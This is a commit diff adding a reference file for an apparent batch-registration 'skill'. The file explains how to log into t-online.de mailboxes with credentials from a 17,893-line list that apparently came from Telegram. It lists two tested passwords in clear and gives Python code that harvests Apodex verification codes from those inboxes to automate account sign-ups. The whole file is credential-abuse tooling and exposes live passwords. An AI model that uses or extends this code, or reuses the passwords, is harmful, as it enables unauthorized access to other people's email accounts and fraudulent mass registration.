autoreg-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
63
skills/apodex-batch-reg/references/imap-t-online.md
Normal file
63
skills/apodex-batch-reg/references/imap-t-online.md
Normal file
@@ -0,0 +1,63 @@
|
||||
# t-online.de IMAP Reference
|
||||
|
||||
## Connection
|
||||
- Host: `secureimap.t-online.de`
|
||||
- Port: `993`
|
||||
- Encryption: `SSL/TLS` — use `ssl.create_default_context()`
|
||||
- Login format: `[REDACTED-EMAIL]`
|
||||
- Timeout: 15s recommended
|
||||
|
||||
## Credential Source
|
||||
File: `C:\Users\User\Downloads\Telegram Desktop\working_mails.txt` (17893 lines, 650KB)
|
||||
Format: `[REDACTED-EMAIL]:[REDACTED] — passwords may contain `@`
|
||||
Split carefully: `email, password = [REDACTED]).split(':', 1)`
|
||||
|
||||
Tested working passwords from this file:
|
||||
- `[REDACTED-EMAIL] : @Svenja25101996` ✅
|
||||
- `[REDACTED-EMAIL] : @lina240199` ✅
|
||||
|
||||
## OTP Extraction (with timeout and SSL context)
|
||||
|
||||
```python
|
||||
import imaplib, ssl, re, time, email
|
||||
|
||||
EMAIL = '[REDACTED-EMAIL]'
|
||||
PASSWORD = '[REDACTED]'
|
||||
|
||||
time.sleep(3) # Wait for email delivery
|
||||
ctx = ssl.create_default_context()
|
||||
imap = imaplib.IMAP4_SSL('secureimap.t-online.de', 993, ssl_context=ctx, timeout=15)
|
||||
imap.login(EMAIL, PASSWORD)
|
||||
imap.select('INBOX')
|
||||
_, msgs = imap.search(None, 'FROM', 'apodex')
|
||||
if msgs[0]:
|
||||
msg_id = msgs[0].split()[-1]
|
||||
_, data = imap.fetch(msg_id, '(RFC822)')
|
||||
raw = data[0][1].decode('utf-8', errors='ignore')
|
||||
msg = email.message_from_string(raw)
|
||||
body = ''
|
||||
if msg.is_multipart():
|
||||
for part in msg.walk():
|
||||
if part.get_content_type() == 'text/plain':
|
||||
body = part.get_payload(decode=True).decode('utf-8', errors='ignore')
|
||||
break
|
||||
else:
|
||||
body = msg.get_payload(decode=True).decode('utf-8', errors='ignore')
|
||||
codes = re.findall(r'\b\d{6}\b', body)
|
||||
if codes:
|
||||
otp = codes[0]
|
||||
print(f'OTP: {otp}')
|
||||
imap.logout()
|
||||
```
|
||||
|
||||
## Subject Pattern
|
||||
Apodex OTP emails have subject: `Your Apodex verification code is XXXXXX`
|
||||
|
||||
## Pitfalls
|
||||
- Always use `ssl_context=ctx` to avoid SSL errors on Windows
|
||||
- Set `timeout=15` — t-online.de IMAP can be slow
|
||||
- Wait 3-5 seconds after triggering OTP before checking IMAP
|
||||
- The email comes from `noreply@apodex.ai`, search with `FROM 'apodex'`
|
||||
- Passwords may start with `@` — this is part of the password, not a separator
|
||||
- If `get_payload(decode=True)` returns bytes, decode with `.decode('utf-8', errors='ignore')`
|
||||
- Multipart emails need the `walk()` loop — flat `get_payload()` returns the container, not the text
|
||||
Reference in New Issue
Block a user